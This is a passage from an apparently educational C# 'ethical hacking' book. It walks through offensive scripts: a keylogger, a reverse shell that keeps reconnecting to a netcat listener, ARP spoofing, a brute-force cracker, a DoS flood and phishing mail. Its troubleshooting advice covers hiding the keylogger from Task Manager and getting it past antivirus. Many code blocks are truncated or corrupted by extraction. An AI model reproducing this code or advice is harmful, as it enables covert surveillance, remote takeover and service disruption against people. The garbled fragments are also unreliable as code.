This knowledge can aid us in better securing our own systems
and networks.
W
ow, let’s dive into the process of downloading the
repository from GitHub.
Now for the treasure hunt: search for the repository, you
want to download. Once you’re on its main page, get ready to
rumble!
Find the “Code” button (green is the new black), click on it,
and voila! A sweet menu of download options appears. Select
“Download ZIP” and let the fun commence!
After the download, locate the file on your trusty computer &
right-click it. Choose “Extract” or “Extract All”, then stash it
away in the perfect location.
BOOM! You’re good to go! Start building and editing to your
heart’s content. Impress your peers with your new GitHub
skills!
II
Book 2: C# and ASP.NET Hacking
E
thical hacking, a fascinating term, holds immense power
within our digitally dominated era. The term hacking is
often associated with cybercrime and illegal activities.
However, hacking is not inherently dangerous or illegal.
Hacking can serve as a constructive and critical force for
fortifying our digital assets.
Introduction to C#
As we begin this journey into cybersecurity, C# is our vehicle
of choice. Think of this powerful and versatile programming
language as a high-performance sports car—fast and precise
enough to provide us with the tools to navigate ethical
hacking’s winding roads. Microsoft developed C# as part of
the .NET initiative; combining the strength of C++ with Visual
Basic’s intuitiveness, it achieves a perfect balance between
simplicity and power, allowing for a wide range of
applications.
O
ur journey with C# begins with familiarizing ourselves
with the basics. Think of these basics as the foundation
stones of a building - the stronger they are, the more
robust and stable the final structure will be.
Control Structures
Control structures guide the flow of execution in a program,
much like traffic signals direct the flow of vehicles on the
road.
myBicycle.type = "Mountain";
myBicycle.color = "Blue";
myBicycle.gears = 21;
myBicycle.Pedal();
Interfaces
An interface is akin to a contract or a formal agreement
specifying a list of tasks. It outlines certain methods and
properties without detailing their implementation - a bit like
a recipe card outlining the ingredients but not the cooking
instructions.
System.Net
Our first stop is the System.Net namespace, the city’s
communication center, akin to the postal and
telecommunications department. It enables network
communications, facilitating data transmission and server
interactions.
using System.Net;
System.Text.RegularExpressions
Moving on, we reach the System.Text.RegularExpressions
neighborhood, is your toolkit for text manipulation, like a
puzzle solver looking for patterns.
Consider the following code to pinpoint all email addresses
within a text string:
using System.Text.RegularExpressions;
System.Security.Cryptography
Lastly, we visit System.Security.Cryptography is your secret
vault for encryption and decryption processes. To hash a
string using SHA256, you could use:
using System.Security.Cryptography;
using System.Text;
Console Command
Program.cs File
Console.WriteLine("Hello, World!");
P
icture a hack as an intricate, multifaceted dance
performance. Each act or phase, laden with unique
rhythms and steps, seamlessly follows another to create
an overall spectacle. Let’s delve into the separate actions that
shape the entire performance.
L
et’s set the stage. Imagine you’re a locksmith and each
lock in a building represents a port in a computer system.
Your role is to check each lock, testing whether it’s
secure or easily picked. This process is akin to what a port
scanner does in the digital world. Let’s now turn this concept
into reality by building our port scanner using C# in Visual
Studio Code.
using System;
using System.Net.Sockets;
using System.Threading.Tasks;
class Program
{
static async Task Main(string[] args)
{
string host = args[0];
int startPort = Int32.Parse(args[1]);
int endPort = Int32.Parse(args[2]);
OUTPUT
Port 79 is closed.
Port 80 is closed.
Port 81 is closed.
Port 82 is closed.
using System;
using System.Net.Sockets;
using System.Threading.Tasks;
using System.Collections.Generic;
class Program
{
static async Task Main(string[] args)
{
string host = args[0];
int startPort = Int32.Parse(args[1]);
int endPort = Int32.Parse(args[2]);
await Task.WhenAll(tasks);
}
Troubleshooting
Here are a series of steps to guide you toward resolution:
1. Lexical Irregularities: Confirm the lexical correctness of
your script. Even a trivial omission of a character can
trigger failure.
2. Port Spectrum: Verify the spectrum of ports your scanner
covers. This should lie within the valid port range of 0-
65535. Scanning an extensive range may consume a
significant amount of time and resources.
3. Script Timeout: In instances where your script appears to
stall indefinitely, it might be due to prolonged waiting
periods for responses from particular ports. It may be
beneficial to set a timeout threshold beyond which the
script progresses.
4. Firewall or Security Software: The obstructive nature of
firewalls or security software can impede your port
scanning attempts. Assess your settings or contemplate
temporary deactivation to determine if they’re the source
of the problem.
5. Network Connectivity: Ascertain the stability of your
network connection. Connectivity anomalies can render
your script ineffective.
6. Target Server Status: Ascertain the operational status of
the server under scrutiny. Should the server be non-
functional, the ports would appear to be closed.
7. Rate Limiting: Certain networks may impose restrictions
on rapid successive connections, thereby influencing the
outcomes of a port scan. Contemplate moderating the
scanning rate.
8. Permissions: Certain styles of port scans necessitate
higher permissions. Guarantee that your script is
endowed with the requisite permissions to execute the
scan.
9. Legality and Ethics: Always bear in mind that
unauthorized port scanning may be in violation of the law
and is typically against the terms of service for many
networks. Always secure proper authorization before
scanning.
Should these steps fail to rectify the issue, consider seeking
out examples or resources that cater to the language or
framework used in the script. Furthermore, soliciting help
from relevant programming or networking forums can be
beneficial.
D
ISCLAIMER: This chapter discusses keyloggers and provides
an educational example. While it has its use cases, it is
important to note that utilizing it for unethical or illegal
purposes is discouraged. Misuse can result in criminal charges
and severe penalties including monetary fines and
imprisonment, hence a responsible and lawful approach is highly
recommended. Always obtain explicit consent before using a
keylogger. The primary goal of this chapter is to enhance
understanding of security vulnerabilities and encourage
thoughtful countermeasures. By reading this chapter, you agree
to use the provided information responsibly. The author and
publisher are not liable for any misuse of the information
presented herein.
using System;
using System.IO;
using System.Runtime.InteropServices;
using System.Threading;
while (true)
{
Thread.Sleep(10);
for (int i = 0; i < 255; i++)
{
short keyState = GetAsyncKeyState(i);
if ((keyState & 0x8000) != 0)
{
LogKeyStroke(i);
}
}
}
}
using System;
using System.IO;
using System.Runtime.InteropServices;
using System.Threading;
namespace Keylogger
{
class Program
{
[DllImport("user32.dll", CharSet = CharSet.Auto,
SetLastError = true)]
private static extern short GetAsyncKeyState(int vKey);
while (true)
{
Thread.Sleep(10);
for (int i = 0; i < 255; i++)
{
short keyState = GetAsyncKeyState(i);
if ((keyState & 0x8000) != 0)
{
LogKeyStroke(i);
}
}
}
}
Writes out the text file in the application and stores the keystrokes
Results
Enhanced Keylogger
In this example, a timestamp was added to each logged
keystroke, and a more readable output format by converting
the key code to a string representation.
Enhanced Methods
return keyRepresentation;
}
using System;
using System.IO;
using System.Runtime.InteropServices;
using System.Threading;
namespace Keylogger
{
class Program
{
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError
= true)]
private static extern short GetAsyncKeyState(int vKey);
while (true)
{
Thread.Sleep(10);
for (int i = 0; i < 255; i++)
{
short keyState = GetAsyncKeyState(i);
if ((keyState & 0x8000) != 0)
{
LogKeyStroke(i);
}
}
}
}
return keyRepresentation;
}
}
}
The timestamp and keystroke are logged in the log.txt file.
This is more human-readable and easier to understand.
Troubleshooting
1. Delving into the Code Corpus: Embarking upon the
journey of troubleshooting any software artifact
commences with a profound comprehension of its source
code. Your task is to meticulously dissect the code
structure, focusing on areas where the system interaction
occurs. This includes but is not limited to, keystroke
acquisition, data preservation methods, and data
transmission procedures.
2. Exploring the Landscape of Errors: Leveraging an avant-
garde Integrated Development Environment (IDE) can
significantly expedite the error-detection process. It
effortlessly weeds out syntactical irregularities, type
mismatches, and other common coding mishaps.
Running the program in a debug mode offers you the
privilege to identify runtime anomalies.
3. Key Capture Logic Validation: It’s incumbent upon you to
corroborate the fidelity of the keystroke capturing logic.
This includes a spectrum of key types encompassing
alphanumeric characters, special characters, and system
keys.
4. Environmental Compatibility Assessment: Should the
keylogger be architectured to function across a gamut of
operating systems or diverse versions of the same OS,
rigorous testing across all these environments is
essential. This owes to the fact that each OS possesses its
unique method of handling functionalities, thereby
influencing the performance of the keylogger.
5. Data Storage Appraisal: A thorough investigation of the
keystroke storage mechanism is paramount. For file-
based storage, access permissions and data writing
accuracy need verification. Network-based storage, on
the other hand, necessitates the validation of network
operations.
6. Stealth Mode Inspection: The keylogger, designed with
ethical considerations in mind, should work
surreptitiously, escaping the user’s notice. Ensure it does
not encumber the system or drain resources excessively.
Verify that it remains inconspicuous in system
monitoring tools like Task Manager or Activity Monitor.
7. Network Traffic Exploration: If the keylogger transmits
data via the network, harness network monitoring tools
to probe the data packets. Their structural integrity and
successful arrival at the destined location must be
ensured.
8. Anti-Virus/Anti-Malware Detection Evaluation:
Sophisticated anti-virus and anti-malware software have
the propensity to flag keyloggers. During testing, you
need to ascertain whether your program triggers any
such alarms. If it does, delve into the root cause and
implement the requisite modifications. Bear in mind,
consent and transparency are non-negotiable when
deploying a keylogger.
9. Peer Code Assessment: Introducing another set of eyes to
review your code can be a game-changer. They might
unearth elements you overlooked or propose more
efficient methodologies. Code review is a cornerstone in
software development and could be instrumental in
troubleshooting.
10. Unit Testing Application: Fragmenting your program
into smaller, more manageable units or functions and
individually testing them can facilitate error isolation.
This process paves the way to identifying bug sources
with precision.
Script 3: Packet Sniffer
T
his chapter begins by walking you through the process of
constructing a basic packet sniffer in C#. A packet sniffer
mainly captures data traveling over a network by
“sniffing” it. It’s a fundamental tool for any budding
cybersecurity enthusiast or ethical hacker, helping you to
understand network interactions in more detail.
The Idea
The basic idea behind a packet sniffer is quite simple. It
listens to the network traffic that flows through a specific
network interface - in our case, localhost. Once it captures
packets, it then parses and displays the details contained in
these packets.
2. Binding Socket
Next, we bind the socket to the localhost interface.
This line tells our socket to include the header when receiving
packets, which is critical to our packet-sniffing endeavors.
4. Receiving Packets
Now we’re all set to start receiving packets. We’ll use the
`Socket.Receive` method for this.
using System;
using System.Linq;
using System.Net;
using System.Net.Sockets;
namespace PacketSniffer
{
class Program
{
static void Main(string[] args)
{
// 1. Socket Initialization
Socket socket = new Socket(AddressFamily.InterNetwork,
SocketType.Raw, ProtocolType.IP);
// 2. Binding Socket
IPAddress localhost = IPAddress.Parse("127.0.0.1");
EndPoint endPoint = new IPEndPoint(localhost, 0);
socket.Bind(endPoint);
// 4. Receiving Packets
byte[] buffer = new byte[4096];
while (true)
{
int bytesReceived = socket.Receive(buffer);
OUTPUT
The steps above constitute the core of building a simple
packet sniffer in C#. Of course, a real-world tool would
require more sophistication, including packet filtering,
protocol recognition, and more robust parsing. However, this
basic understanding gives you a solid foundation from which
to explore further.
namespace EnhancedPacketSniffer
{
class Program
{
static void Main(string[] args)
{
Socket socket = new Socket(AddressFamily.InterNetwork,
SocketType.Raw, ProtocolType.IP);
socket.Bind(endPoint);
socket.SetSocketOption(SocketOptionLevel.IP,
SocketOptionName.HeaderIncluded, true);
while (true)
{
int bytesReceived = socket.Receive(buffer);
string protocol;
switch (protocolType)
{
case 6:
protocol = "TCP";
break;
case 17:
protocol = "UDP";
break;
case 1:
protocol = "ICMP";
break;
default:
protocol = "Unknown";
break;
}
Administrative Privileges
To run your code in Visual Studio Code, the process is a little
different than most IDEs since it relies on the terminal to
execute the code. Here are the steps to open VS Code with
administrative privileges:
1. Close Visual Studio Code if already open.
2. To launch an elevated Command Prompt or PowerShell,
simply search for ‘cmd’ or ‘PowerShell’ from the Start
menu. Following this, right-click the application, and
select the option that says “Run as administrator”. This
allows for elevated privileges, granting access to
advanced operations.
3. Navigate to your project directory with cd your-project-
path.
4. Open VS Code in your current directory by typing code..
5. Now, running your application in VS Code’s terminal
grants administrative privileges. Use the appropriate
command such as dotnet run for .NET Core or .NET 5+
applications.
Troubleshooting
1. Check the Network Interface: Ensure that the network
interface you’re trying to sniff packets from is correctly
identified and accessible. Make sure your application has
the appropriate permissions to access it.
2. Verify the Packet Decoding: Packet sniffing involves
interpreting raw data, so if your interpretation is
incorrect, you won’t get the results you expect. Verify
that your code is correctly decoding packet data according
to the proper protocols (Ethernet, IP, TCP, etc.).
3. Ensure Proper Filtering: If you’re using a filter to capture
specific types of packets, make sure the filter is correctly
defined and applied.
4. Exception Handling: Ensure that your code is well-
equipped to handle exceptions and errors. Use try-catch
blocks where appropriate and log errors and exceptions
for review.
5. Buffer Overflow: Check for any buffer overflows,
especially if you are capturing a lot of traffic.
6. Timeouts: If you’re experiencing unexplained timeouts,
consider whether you’re providing enough time for the
packet capture operation. Adjust your timeouts as
necessary.
7. Check Dependencies: If you’re using a library like
SharpPcap or Pcap.net, ensure you have the correct
version installed and that it’s properly referenced in your
project.
8. Compatibility Issues: Ensure that your program is
compatible with the network card and driver. Some
sniffing tools only work with certain types of network
cards or with specific drivers.
9. Insufficient Data: If you’re not seeing as many packets as
you expect, consider whether your sniffing tool is capable
of seeing all the traffic you’re interested in. It might be
necessary to put your network card into promiscuous
mode.
Script 4: Vulnerability Scanner
U
nraveling cybersecurity secrets isn’t a task for the faint
of heart. It requires a well-honed skill set and unyielding
curiosity. As our journey continues, we pivot to an
essential element in the world of ethical hacking – the
vulnerability scanner. Let’s uncover the mystery behind this
vital tool, step by step, using C# and Visual Studio Code.
The Concept
A vulnerability scanner is a program designed to inspect a
system or network, identifying potential weak points or
vulnerabilities. With this knowledge, system administrators
can shore up defenses before malicious entities exploit these
weaknesses. However, it’s imperative to note that these tools
are intended for enhancing security, not breaking it.
The Execution
using System;
using System.Net.Sockets;
namespace VulnerabilityScanner
{
class Program
{
static void Main(string[] args)
{
Console.Write("Enter target IP: ");
string targetIP = Console.ReadLine();
using System;
using System.Net.Sockets;
using System.Threading.Tasks;
namespace EnhancedVulnerabilityScanner
{
class Program
{
static async Task Main(string[] args)
{
Console.Write("Enter target IP: ");
string targetIP = Console.ReadLine();
await Task.WhenAll(tasks);
}
Output
Port 25: For sending emails via SMTP (Simple Mail Transfer
Protocol). Without adequate protection measures, hackers
could misuse SMTP for spamming and phishing assaults.
Ports 80 and 443: Use HTTP and HTTPS protocols for web
traffic. Security vulnerabilities could permit attacks that
intercept or change traffic.
Ports 110 and 995: Used by POP3 and its encrypted versions,
which fetch emails from the server. Weak access control via
POP3 can allow hackers to obtain sensitive email content.
Ports 143 and 993: Used by IMAP and its encrypted variants,
which fetch email messages from a server; compromising the
IMAP service could harm your email security.
Troubleshooting
1. Comprehend the Conundrum: Before diving into the
labyrinth of troubleshooting, the sine qua non is to
develop an acute comprehension of the specific challenge
at hand. This could range from the scanner failing to
detect an array of vulnerabilities, to an overflow of false
positives in the data. Your initial interpretation of the
issue will serve as the compass guiding your subsequent
steps toward a solution.
2. Deploy Debugging: Harness the power of debugging tools
within your arsenal, such as Visual Studio, which form
the bedrock of your development environment. The
strategic placement of breakpoints, coupled with a
meticulous step-through examination of the code, will
reveal the roots from which your issues sprout.
3. Inspect Libraries and Dependencies: Vigilance is key
when dealing with your libraries and dependencies.
Confirm that you’re utilizing their most recent iterations,
and ensure an absence of contention among them. In
addition, the integrity of any external services upon
which your scanner relies must be guaranteed.
4. Examine Log Files: In the event your application
meticulously documents its activities, these records can
serve as a treasure trove of insights. Analyzing these logs
may illuminate the sequence of events leading to your
predicament, offering invaluable context.
5. Scrutinize Code Logic and Workflow: Should you
encounter an influx of either false positives or negatives,
the diagnosis may lie in a thorough examination of your
code’s logic. Ensure that pattern recognition mechanisms
are functioning optimally, definitions of vulnerabilities
are unambiguous, and the code execution workflow is
impeccably designed.
6. Engage Unit and Integration Testing: Leverage unit tests
to identify faults within individual methods and classes,
acting as a magnifying glass to illuminate hidden
anomalies. In contrast, integration tests act as the
floodlight, revealing the intricate web of interactions
among different application components and
highlighting any discordance.
7. Analyze Performance: If your scanner behaves
sluggishly, enlist the help of a profiler to scout potential
bottlenecks within your code. Visual Studio, in the
context of C#, comes equipped with an integral profiler
capable of this task.
8. Error Management: Ascertain that your error handling
procedures are both adequate and fitting. Unattended
exceptions can often be the culprit behind seemingly
unrelated issues, warranting the consideration of
implementing a global exception handler.
9. Data Examination: The possibility of your scanner
misidentifying vulnerabilities may stem from flawed data
under analysis. Thus, a keen appraisal of this data is
essential to ensure its veracity.
10. Network Evaluation: Connectivity issues may point
towards network access limitations for your scanner, or
perhaps impediments presented by firewalls or similar
security measures. As such, an exhaustive review of the
network is an indispensable part of the troubleshooting
process.
Script 5: Reverse Shell
A
s we dig deeper into the world of ethical hacking, we
venture into somewhat treacherous waters. Today, we’ll
tackle a controversial yet potent tool in the ethical
hacker’s toolkit: the reverse shell. Remember, we intend to
familiarize ourselves with these tools for good, to defend
against potential threats, and not to misuse them.
The Concept
A reverse shell connects a target system back to an attacker’s
system. Once established, the attacker has control over the
target system, able to execute commands as if they were
physically present at the target machine. We’re creating one
to better understand this mechanism, thereby enhancing our
defenses.
Install Netcat
Here are the steps to install Netcat on different operating
systems:
On Ubuntu/Debian: You can install Netcat using the
package manager ‘apt’. Open a terminal and type:
sudo apt-get update
sudo apt-get install netcat
The Execution
Step 1: Create a Listener
Before we establish a reverse shell, we must prepare a listener
on our machine to receive the connection. Netcat, a versatile
networking utility, can be utilized for this task. In a separate
terminal, outside of Visual Studio Code, type: `nc -lvnp
4444`. This tells Netcat to listen on port 4444.
while (true)
{
writer.Write("$ ");
writer.Flush();
string cmd = reader.ReadLine();
if (string.IsNullOrEmpty(cmd))
{
client.Close();
return;
}
else
{
Process cmdProcess = new Process();
cmd process.StartInfo.FileName = "/bin/bash";
cmd process.StartInfo.Arguments = "-c \"" + cmd + "\"";
cmd process.StartInfo.UseShellExecute = false;
cmd process.StartInfo.RedirectStandardOutput = true;
cmd process.Start();
writer.Write(cmdProcess.StandardOutput.ReadToEnd());
writer.Flush();
}
}
using System;
using System.IO;
using System.Diagnostics;
using System.Net.Sockets;
class Program
{
static void Main(string[] args)
{
using (TcpClient client = new TcpClient("localhost", 4444))
{
using (Stream stream = client.GetStream())
using (StreamReader reader = new StreamReader(stream))
using (StreamWriter writer = new StreamWriter(stream))
{
while (true)
{
writer.Write("$ ");
writer.Flush();
string cmd = reader.ReadLine();
if (string.IsNullOrEmpty(cmd))
{
client.Close();
return;
}
else
{
Process cmdProcess = new Process();
cmd process.StartInfo.FileName = "/bin/bash";
cmd process.StartInfo.Arguments = "-c \"" + cmd + "\"";
cmd process.StartInfo.UseShellExecute = false;
cmd process.StartInfo.RedirectStandardOutput = true;
cmd process.Start();
writer.Write(cmdProcess.StandardOutput.ReadToEnd());
writer.Flush();
}
}
}
}
}
}
By understanding how a reverse shell operates, we arm
ourselves with the knowledge to counteract such an intrusion.
This script is a basic demonstration. Real-world scenarios are
much more complex and layered. Always remember to use
your newfound skills ethically, contributing positively to the
landscape of cybersecurity.
using System;
using System.IO;
using System.Diagnostics;
using System.Net.Sockets;
using System.Threading;
class Program
{
static void Main(string[] args)
{
while (true)
{
try
{
using (TcpClient client = new TcpClient("localhost", 4444))
{
using (Stream stream = client.GetStream())
using (StreamReader reader = new StreamReader(stream))
using (StreamWriter writer = new StreamWriter(stream))
{
while (true)
{
writer.Write("$ ");
writer.Flush();
string cmd = reader.ReadLine();
if (string.IsNullOrEmpty(cmd))
{
client.Close();
return;
}
else
{
// Run the command
var cmdProcess = new Process
{
StartInfo = new ProcessStartInfo
{
FileName = "/bin/bash",
Arguments = "-c \"" + cmd + "\"",
UseShellExecute = false,
RedirectStandardOutput = true
}
};
cmdProcess.Start();
writer.Write(cmdProcess.StandardOutput.ReadToEnd());
writer.Flush();
}
}
}
}
}
catch (Exception ex) when (ex is SocketException || ex is
IOException)
{
// If a network error occurs, wait for a moment then attempt to
reconnect
Thread.Sleep(5000);
}
}
}
}
The above enhancements aim to maintain a persistent
connection, improve the stability of the reverse shell, and
ensure the script doesn’t crash from unexpected network
issues. The `try/catch` block handles network-related
exceptions, allowing the program to sleep for five seconds
and then attempt to re-establish the connection if it is lost.
Troubleshooting
To effectively troubleshoot errors when working with a
reverse shell, one must be familiar with common issues that
may arise. Here are some steps to take when encountering
problems:
Verify Listener Setup: Ensure that the listener, such as
Netcat, is correctly set up and listening on the intended
port. If your reverse shell cannot connect, a possible
misconfiguration at this step can cause it. Check that the
port number and IP address match between the listener
and the reverse shell script.
Properly specifying IP addresses: In your reverse shell
script is paramount. If testing locally, eliminate errors by
employing “localhost” or “127.0.0.1”. Conversely, if
you’re connecting from a remote location, ensure that
you use the correct public or private IP address to avoid
any hiccups and inconsistencies. This seemingly small
action can maintain a smooth connection and prevent
mishaps from besieging your setup.
Check Firewalls and Security Groups: Firewalls or
security groups could block incoming connections on the
port you are attempting to use. Confirm the port is open
and can accept incoming connections.
Examine Error Messages: Error messages can provide
critical information about what went wrong. If you see a
message like System.Net.Sockets.SocketException:
Connection refused, it could indicate a missing listener,
or a firewall blocking your connection.
Ensure Proper Execution Environment: The reverse shell
execution environment could limit specific operations.
For example, requiring ‘/bin/bash,’ which some systems
may not have. This could cause issues if the script
depends on it.
Use Debugging Tools: Tools like Wireshark can be
beneficial in troubleshooting network-related issues.
They allow detailed network traffic inspection, which can
identify problems.
Code Errors: Check the reverse shell code for syntax or
logical errors. If using C#, consider utilizing an
environment that supports debugging, like Visual Studio
Code, and review your code line by line.
Remember, reverse shells should always be within the
confines of legality and ethics, such as those found in
authorized penetration testing, network audits, or
educational scenarios. The unauthorized use could lead to
severe legal repercussions.
A
t the heart of our exploration of hacking scripts is the
understanding that knowledge begets prevention. Here,
we dive into the creation of an essential spoofing tool.
Spoofing, in simple terms, is the act of masquerading as
another by falsifying data, often with malicious intent.
using System.Net;
using System.Net.Sockets;
class Program
{
static void Main(string[] args)
{
Socket spoofingSocket = new Socket(AddressFamily.InterNetwork,
SocketType.Raw, ProtocolType.IP);
using System;
using System.Net;
using System.Net.NetworkInformation;
using PacketDotNet;
using SharpPcap;
class Program
{
static void Main(string[] args)
{
string deviceName = "MediaTek Wi-Fi 6 MT7921 Wireless LAN Card";
// Name of the network device
string targetIP = "127.0.0.1"; // IP address of the target
machine
string spoofIP = "127.0.0.1"; // IP address to spoof (typically
the gateway)
var devices =
CaptureDeviceList.Instance.Where(x=>x.Description==deviceName)
.First();
ethernetPacket.PayloadPacket = arpPacket;
device.SendPacket(ethernetPacket);
device.Close();
}
}
OUTPUT:
MacAddress: | Description:WAN Miniport (Network Monitor)
MacAddress: | Description:WAN Miniport (IPv6)
MacAddress: | Description:WAN Miniport (IP)
MacAddress:346F2452A348 | Description:Bluetooth Device (Personal
Area Network)
MacAddress:346F2452A349 | Description:MediaTek Wi-Fi 6 MT7921
Wireless LAN Card
MacAddress:366F2452A339 | Description:Microsoft Wi-Fi Direct
Virtual Adapter #2
MacAddress:366F2452A329 | Description:Microsoft Wi-Fi Direct
Virtual Adapter
MacAddress:0A0027000004 | Description:VirtualBox Host-Only
Ethernet Adapter
MacAddress:00155D7C24D1 | Description:Hyper-V Virtual Ethernet
Adapter
MacAddress: | Description:Adapter for loopback traffic capture
MacAddress:3F88864AC906 | Description:SonicWall VPN Adapter
Troubleshooting
The advanced spoofing attack code involves various steps.
Below are some potential issues you might face and how to
resolve them:
Installation and Usage of Required Libraries: This code relies
on the PacketDotNet and SharpPcap libraries. Ensure that
these libraries are correctly installed and referenced in your
project. If you’re facing issues related to missing namespaces
or classes, it’s likely because these libraries haven’t been
correctly set up.
A
brute force password cracker exemplifies the saying,
“Strength in simplicity.” It leverages the crudest form of
attack: trying every possible combination until the right
one is found. Let’s now unravel the process of creating a
rudimentary password cracker in C#.
using System;
class Program
{
static void Main(string[] args)
{
string passwordToCrack = "1234";
if (attempt == passwordToCrack)
{
Console.WriteLine($"Password cracked! It is {attempt}.");
break;
}
}
}
}
OUTPUT
Password cracked! It is 1234
using System;
using System.Linq;
class Program
{
static string alphabet =
"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
Troubleshooting
1. Addressing Issues with Speed: It’s important to
recognize that brute-force password cracking puts a
heavy strain on computational resources. As the
complexity and length of the password increase, longer
execution times are to be expected. In real-life scenarios,
cracking a sophisticated password through brute force
could take a considerable amount of time, potentially
spanning years.
2. Dealing with Memory Challenges: If you’re encountering
memory-related difficulties, keep in mind that in C#, all
string values persist in memory until they are collected by
the garbage collector. Excessively long passwords can
lead to excessive memory consumption. To alleviate this
problem, consider breaking down the password
generation into smaller parts or exploring alternative
approaches such as rule-based attacks or dictionary
attacks.
3. Working around Recursion Limitations: Occasionally,
you may encounter limits on the depth of recursion,
indicated by a StackOverflowException due to the call
stack size. When encountering this problem, one
possibility is to transform the recursive method into an
iterative one. However, it is crucial to acknowledge that
this approach may introduce additional intricacies to the
code.
4. Resolving Lack of Output: If the cracked password is not
displayed as expected, double-check that the correct
password is defined within the `passwordToCrack`
variable. Additionally, ensure that the password falls
within the boundaries specified by `maxPasswordLength`
and that it consists of characters from the `alphabet`
string.
5. Ensuring Compatibility with .NET Version: Verify that
you are using a compatible version of .NET. For example,
the `yield return` construct requires at least C# 2.0. If you
encounter syntax errors, it could be due to operating on
an outdated .NET version.
By following these troubleshooting guidelines, you can
address common challenges that arise when executing this
code.
Script 8: Denial-of-Service (DoS)
Attack
D
ISCLAIMER: Note of utmost importance: The forthcoming
script is exclusively for educational exploration and
fostering a comprehensive understanding of these digital
phenomena. Misapplication of this information may result in
severe legal ramifications. Always seek express consent before
initiating any form of hacking script.
using System;
using System.Net.Sockets;
try {
client.Connect("192.168.1.123", 80); // Establish connection to
target IP and port
} catch (Exception) {
Console.WriteLine("Connection unsuccessful!");
return;
}
while(true) {
byte[] buffer = new byte[1024];
stream.Write(buffer, 0, buffer.Length); // Continual dispatch of
packets
}
}
}
Connection failed!
using System;
using System.Net.Sockets;
using System.Threading;
Troubleshooting
In addressing the potential challenges you may encounter
when executing the aforementioned code, several factors
merit particular attention. Here are some dilemmas and
possible resolutions:
3. Script Longevity
Both the scripts, especially the advanced example furnished
with a retry mechanism, are designed to run ad infinitum
until manual termination. Employ the ‘stop’ function in your
IDE or utilize the `Ctrl + C` command in your terminal to
terminate the script.
A
Social Engineering Toolkit (SET), within the sphere of
cybersecurity, signifies an amalgamation of techniques
and tools created to dupe individuals into divulging
sensitive information, such as banking details or confidential
passwords, that can be wielded for nefarious activities.
using System;
using System.Net;
using System.Net.Mail;
mailMessage.To.Add("targetusername@example.com");
client.Send(mailMessage);
Successful Output:
using System;
using System.IO;
using System.Windows.Forms;
using System.Runtime.InteropServices;
while (true) {
for (int i = 0; i < 255; i++) {
int keyState = GetAsyncKeyState(i);
if (keyState != 0) {
File.AppendAllText(path,
((Keys)i).ToString());
}
}
}
}
}
Successful Output:
Check the designated log file in the Documents folder for the
recorded keystrokes.
Troubleshooting
Here are some refined strategies for troubleshooting both the
elementary and intricate versions of our social engineering
tools.
Advanced Demonstration:
StealthyKeystrokeRecorder
1. Problem: You encounter an `UnauthorizedAccessException`
when the program seeks to write to the log file.
Resolution: This typically implies that the application
lacks the necessary permissions to write to the designated file
or directory. Assess the permissions of your output directory
and ensure your application is endowed with write access.
Alternatively, consider executing your program with
administrative rights.
A
web scraper is an innovative instrument or software
utility developed to meticulously extract data from
online platforms. It commences its operation by
assimilating the HTML content of a web page,
comprehending its layout, and subsequently, isolating
specific components hinged on the perceived structure.
using System;
using HtmlAgilityPack;
class Program
{
static void Main()
{
var web = new HtmlWeb();
var document = web.Load("https://example.com");
var nodes = document.DocumentNode.SelectNodes("//p");
Hello World!
Welcome to Example.com!
We provide a wide range of products.
The output above represents the text inside the <p> tags on
the webpage. The actual output will differ based on the
content of the webpage being scraped.
Output (Error):
using System;
using System.Net;
using HtmlAgilityPack;
class Program
{
static void Main()
{
var web = new HtmlWeb();
var document = web.Load("https://example.com");
var nodes = document.DocumentNode.SelectNodes("//img");
int i = 1;
foreach (var node in nodes)
{
string imageURL = node.GetAttributeValue("src",
null);
if (imageURL != null)
{
Console.WriteLine($"Downloading image:
{imageURL}");
client.DownloadFile(imageURL, $"Image{i}.jpg");
i++;
}
}
}
}
Output (Success):
arduinoCopy code
Downloading image: https://example.com/image1.jpg
Downloading image: https://example.com/image2.jpg
Downloading image: https://example.com/image3.jpg
This output demonstrates the download process of the image
files from the website. It will be different depending on the
images and their sources on the actual webpage.
Output (Error):
Troubleshooting
If your web scraper encounters hurdles, the following
diagnostic measures can be advantageous:
1. Confirmation of URLs: Ascertain that the URLs you are
targeting are valid and reachable. Validate them in an
internet browser to confirm their operational status.
2. Scrutiny of Selector Syntax: An improper return of data
might suggest incorrect CSS or XPath selectors. You can
manually inspect the HTML of the website and calibrate
your selectors as needed.
3. Refer to Library Documentation: Ensure that your usage
of the scraping library aligns with its intended functions.
If you’re employing HtmlAgilityPack, validate that you’re
leveraging the appropriate methods and attributes for
loading the webpage, parsing it, selecting nodes, and
extrapolating data.
4. Exception Management: Incorporate exception handling
in your code to capture and analyze errors. For instance, a
WebException could occur if there are issues
downloading the webpage, or a NullReferenceException
could emerge if a selected node doesn’t exist.
5. Internet Connectivity Check: Authenticate your device’s
connection to the internet. At times, a weak or
disconnected internet link can provoke failures.
6. Site Structure Updates: If your previously operational
scraper ceases to function, the website structure may
have been modified. Websites often update, necessitating
corresponding updates in your code.
7. Adherence to robots.txt: Make sure your scraper respects
the website’s robots.txt guidelines, which specify the
areas of the website that scrapers should avoid.
8. Legal and Ethical Compliance: Verify that your scraping
activities adhere to all legal prerequisites and the terms of
service of the website. Some websites strictly forbid web
scraping.
Keep in mind, web scraping can be an intricate task,
especially with larger, more complex websites. Testing and
developing incrementally can aid in avoiding and identifying
potential issues. Commence by scraping smaller data
segments and progressively scaling up to more
comprehensive tasks as each component is confirmed to
function correctly.
Project: A Penetration Testing Tool
I
n the cybersecurity panorama, the discipline of
penetration testing - often abbreviated as pen-testing -
occupies an integral status. But what precisely constitutes
this discipline? Essentially, penetration testing denotes a
strategy wherein professionals rigorously probe a system,
network, or web application, to identify susceptibilities that
could potentially be manipulated by a hacker.
Stage 3: Infiltrating
At this stage, the tester seeks to exploit the discerned
vulnerabilities by initiating attacks on the system. The goal is
to penetrate the system unobserved, mirroring what an actual
intruder would attempt.
Stage 5: Evaluation
The final stage involves an exhaustive analysis and reportage,
delineating the discovered vulnerabilities, the compromised
data, and the duration for which the tester went undetected in
the system.
using System;
namespace PenetrationTestingTools
{
class Program
{
static void Main(string[] args)
{
while (true)
{
Console.WriteLine("Engage a script:");
Console.WriteLine("1. Port Scanner");
Console.WriteLine("2. KeyLogger");
Console.WriteLine("3. Packet Sniffer");
Console.WriteLine("4. Vulnerability Scanner");
Console.WriteLine("5. Reverse Shell");
Console.WriteLine("6. Spoofing Attack");
Console.WriteLine("7. Brute Force Attack");
